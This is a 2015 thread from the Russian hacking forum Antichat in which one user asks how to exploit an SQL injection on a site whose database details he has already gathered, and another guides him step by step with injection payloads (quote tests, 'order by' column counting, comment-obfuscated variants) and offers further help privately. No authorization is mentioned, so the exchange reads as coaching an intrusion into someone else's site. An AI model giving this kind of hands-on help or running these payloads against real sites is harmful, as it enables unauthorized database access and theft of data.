Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Помогите со sql (https://forum.antichat.xyz/showthread.php?t=433240)

OSW 18.11.2015 22:15

Добрый день.

Есть сайт, запрос вида http://site.ru/article/?id=1' дает ошибку:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/docs/article/index.php on line 26

Havij не хочет работать, плюет Error (10061): Connection is forcefully rejected

Руками пробовал подставлять типа: http://site.ru/article/?id=1+union+s...,17,18,19,20/* и т.д., текст ошибки не меняется.

Другими путями узнал хост, имя, и пользователя БД.

Как дораскрутить? Ранее особо темы этой не касался вживую.

Br@!ns 18.11.2015 23:03

Цитата:

Сообщение от OSW

Добрый день.
Есть сайт, запрос вида
http://site.ru/article/?id=1
' дает ошибку:
Warning
: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
/home/docs/article/index.php
on line
26
Havij не хочет работать, плюет Error (10061): Connection is forcefully rejected
Руками пробовал подставлять типа:
http://site.ru/article/?id=1+union+s...,17,18,19,20/*
и т.д., текст ошибки не меняется.
Другими путями узнал хост, имя, и пользователя БД.
Как дораскрутить? Ранее особо темы этой не касался вживую.

как реагируется на http://site.ru/article/?id=1'' ошибка пропадает? как реагирует на http://site.ru/article/?id=1'+order+by+1+--+?

OSW 18.11.2015 23:16

Цитата:

Сообщение от Br@!ns

как реагируется на
http://site.ru/article/?id=1
'' ошибка пропадает? как реагирует на
http://site.ru/article/?id=1
'+order+by+1+--+?

На оба варианта ошибка та же

Br@!ns 18.11.2015 23:21

Цитата:

Сообщение от OSW

На оба варианта ошибка та же

а http://site.ru/article/?id=1+order+by+1+--+

?

OSW 18.11.2015 23:22

Цитата:

Сообщение от Br@!ns

а
http://site.ru/article/?id=1
+order+by+1+--+
?

выдает текст статьи

Br@!ns 18.11.2015 23:37

Цитата:

Сообщение от OSW

выдает текст статьи

http://site.ru/article/?id=1+order+by+100000+--+ так же текст?

http://site.ru/article/?id=1'/**/order/**/by/**/1/**/--/**/ статья не появляется?

OSW 18.11.2015 23:42

Цитата:

Сообщение от Br@!ns

http://site.ru/article/?id=1
+order+by+100000+--+ так же текст?

вышеозвученная ошибка

Цитата:

Сообщение от Br@!ns

нет

Br@!ns 18.11.2015 23:47

так мб там не нужна кавычка в скуле? если при http://site.ru/article/?id=1+order+by+1 нет ошибки а при http://site.ru/article/?id=1+order+by+100000 есть?

Скинь в ПМ, помогу разобраться

OSW 19.11.2015 01:03

Спасибо!


Время: 08:56